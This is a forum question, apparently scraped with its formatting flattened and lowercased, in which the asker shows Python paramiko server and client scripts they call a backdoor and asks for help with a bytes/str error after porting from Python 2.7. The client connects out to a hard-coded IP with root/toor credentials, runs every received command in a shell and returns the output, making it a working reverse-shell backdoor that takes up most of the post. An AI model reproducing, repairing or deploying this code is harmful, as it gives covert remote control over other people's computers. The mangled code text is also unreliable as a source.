Getting error "cant concat str to byte" python -

i found code written in python2.7 , decided write changes run python3.1, code backdoor want install on home computer fun. unfourtunately ran error "cant concat bytes str" when tried send command client computer, think has changes form python2.7 python3.1, sorry if im unclear im trying explain best can.

here server script:

import sys import threading  import paramiko import socket  host_key=paramiko.rsakey(filename='/home/jack/.ssh/id_rsa')  class server(paramiko.serverinterface):     def __init__(self):         self.event=threading.event()     def check_channel_request(self,kind,chanid):         if kind == 'session':             return paramiko.open_succeeded         return paramiko.open_failed_administratively_prohibited     def check_auth_password(self,username,password):         if (username=='root') , (password=='toor'):             return paramiko.auth_successful         return paramiko.auth_failed try:      sock=socket.socket(socket.af_inet,socket.sock_stream)     sock.setsockopt(socket.sol_socket,socket.so_reuseaddr, 1)     sock.bind(('192.168.1.7', 1258))     sock.listen(100)     print('[+] listening connection....')     client, addr=sock.accept() except exception e:     print('[-] listen/bind/accept failed')     sys.exit(1) print('[+] connection initiated')  try:     transport=paramiko.transport(client)     try:         transport.load_server_moduli()     except:         print('[-] failed load moduli -- gex unsupported')         raise     transport.add_server_key(host_key)     server=server()     try:         transport.start_server(server=server)     except:         paramiko.sshexception()         print('[-] ssh negotiation failed')     chan=transport.accept(20)     print('[+] authentication completed')     print(chan.recv(1024))     chan.send("connection established")     while true:         command=input('enter command=>').strip('\n')         chan.send(command)         print(chan.recv(1024)+'\n') except exception e:     print('[-] exception'+': ' + str(e))     try:        transport.close()     except:         pass     sys.exit(1) 

i post client side in case wants error came form server script

import paramiko import threading import subprocess  client=paramiko.sshclient() client.set_missing_host_key_policy(paramiko.autoaddpolicy()) client.connect('173.210.89.47',port=1258, username='root',password='toor') chan = client.get_transport().open_session() chan.send('client connection established') print (chan.recv(1024)) while true:     command=chan.recv(1024)     try:         cmd=subprocess.check_output(command, shell=true)         chan.send(cmd)     except exception e:             chan.send(str(e)) client.close 

so if me figure out great, guys